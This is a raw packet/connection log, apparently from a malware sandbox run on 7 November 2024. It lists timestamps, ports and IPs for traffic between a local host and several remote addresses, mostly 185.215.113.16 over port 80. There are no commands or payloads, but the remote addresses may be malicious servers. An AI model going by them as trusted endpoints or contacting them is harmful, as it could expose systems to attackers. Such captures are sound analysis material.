Nov 7, 2024 06:01:16.079324007 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.080492020 CET	49833	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.080507040 CET	443	49833	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.107611895 CET	80	49827	185.215.113.43	192.168.2.4
Nov 7, 2024 06:01:16.107697010 CET	49827	80	192.168.2.4	185.215.113.43
Nov 7, 2024 06:01:16.109379053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:16.109827042 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:16.114517927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:16.114579916 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:16.114624977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:16.114687920 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:16.114870071 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:16.119659901 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:16.149271965 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.149312019 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.149334908 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.149358034 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.149432898 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.149456978 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.149522066 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.166276932 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.166307926 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.166321993 CET	49828	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.166328907 CET	443	49828	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.256519079 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.256594896 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.256676912 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.257014990 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.257031918 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.633388996 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.634064913 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.634090900 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.634635925 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.634643078 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.674510002 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.675693989 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.675714970 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.676698923 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.676717043 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.706619024 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.707416058 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.707453966 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.708432913 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.708453894 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.740422964 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.741069078 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.741103888 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.741619110 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.741631031 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.763535976 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.763619900 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.763751030 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.764051914 CET	49830	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.764071941 CET	443	49830	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.767301083 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.767379999 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.767491102 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.767712116 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.767733097 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.802463055 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.802536011 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.802597046 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.802887917 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.802905083 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.802928925 CET	49832	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.802933931 CET	443	49832	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.806318998 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.806380033 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.806679010 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.806885958 CET	49837	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.806900024 CET	443	49837	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.843717098 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.843782902 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.844011068 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.844167948 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.844196081 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.844207048 CET	49831	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.844214916 CET	443	49831	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.847620964 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.847676992 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.847758055 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.847953081 CET	49838	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.847968102 CET	443	49838	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.865175009 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.865253925 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.866818905 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.866833925 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.867110968 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.868566990 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.868597984 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:16.868650913 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:16.871651888 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.871670961 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.871730089 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.871731043 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.871809006 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.872036934 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.872065067 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.872076988 CET	49823	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.872083902 CET	443	49823	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.875240088 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.875268936 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:16.875387907 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.875569105 CET	49839	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:16.875582933 CET	443	49839	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.038976908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.038996935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039017916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039031982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039041042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039052963 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039067984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039077997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039088964 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039102077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.039124966 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.039165974 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.039200068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.044208050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.044228077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.044239044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.044251919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.044351101 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.044368982 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.044424057 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.044523954 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.199635029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199661970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199675083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199682951 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199690104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199697018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199708939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199714899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199723005 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.199774981 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.199824095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.201081991 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201096058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201107025 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201117992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201129913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201141119 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201143026 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.201154947 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201164007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.201169014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201181889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201184034 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.201215029 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.201236963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.201942921 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201955080 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201965094 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.201989889 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.202013969 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.202018976 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.202027082 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.202039003 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.202055931 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.202069998 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.359734058 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359760046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359771967 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359781981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359792948 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359805107 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359805107 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.359834909 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.359874964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.359910011 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359921932 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359932899 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359945059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.359947920 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.359992981 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.360315084 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360336065 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360347033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360372066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.360383034 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360393047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.360395908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360430002 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.360855103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360872984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.360920906 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.361054897 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361084938 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361098051 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361108065 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.361139059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.361228943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361241102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361252069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361262083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361274004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.361283064 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.361309052 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.361975908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362090111 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362102032 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362113953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362124920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362137079 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362143993 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.362148046 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362160921 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362184048 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.362184048 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.362216949 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.362962008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362979889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.362992048 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363002062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363008976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363014936 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363027096 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363037109 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.363039970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363066912 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.363089085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.363809109 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363827944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363838911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363852978 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363863945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.363876104 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.363913059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.372277975 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.372329950 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.372359037 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.372387886 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.372415066 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.372437954 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.372438908 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.372490883 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.372987032 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.373016119 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.373044968 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.373050928 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.373070002 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.373081923 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.373101950 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.376849890 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.422039986 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.489733934 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.489849091 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.489979982 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.489995003 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.490022898 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.490123987 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.490189075 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.490288973 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.490309954 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.490328074 CET	49835	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:17.490334034 CET	443	49835	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:17.509896994 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.510900021 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.510940075 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.511419058 CET	49836	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:17.511425018 CET	443	49836	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:17.525527000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525554895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525567055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525574923 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525593996 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525605917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525619030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525633097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525633097 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.525645018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525655985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525665045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.525670052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525684118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525691986 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.525696993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525718927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.525752068 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.525886059 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.525973082 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526071072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526088953 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526101112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526113987 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526125908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526127100 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526139975 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526154041 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526159048 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526165962 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526175976 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526180029 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526191950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526202917 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526209116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526225090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526227951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526237011 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526268959 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.526981115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.526994944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527000904 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527012110 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527030945 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527043104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527056932 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527061939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527076006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527076006 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527087927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527091026 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527096987 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527101994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527117014 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527122021 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527129889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527143955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527152061 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527164936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527193069 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527789116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527889013 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527900934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527913094 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527919054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527940035 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527945042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527957916 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527967930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527967930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527970076 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527982950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.527991056 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.527997971 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528004885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:17.528012037 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528026104 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:17.528033018 CET	49834	80	192.168.2.4	185.215.113.16
